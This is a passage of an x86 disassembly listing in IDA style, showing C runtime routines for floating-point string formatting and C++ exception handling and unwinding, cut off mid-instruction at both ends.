cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N E ======================================= sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43C508 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl jz short loc_421951 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; ___:off_43C8B0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427880 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB310, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB30C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43C508 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB310, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB310, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB314 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB30C cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43C508 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB310, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB30C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB314, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB30C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB314, ecx setl cl mov byte_4DB318, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB314, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB310, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB310, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB310, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB310, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: ___:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB31C test esi, esi jz loc_421F28 mov eax, dword_4DB320 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DB324, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; ___:00422153p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 sub_422111 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_42205D mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: ___:0042217Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: ___:00422174p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB31C mov [ebp+var_1C], ecx mov ecx, dword_4DB320 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB31C, edi mov ecx, [ebp+arg_8] mov dword_4DB320, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: ___:004278E8o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: ___:004278ECo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: ___:004278E0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB31C, eax mov eax, [ebp-20h] mov dword_4DB320, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE XREF: 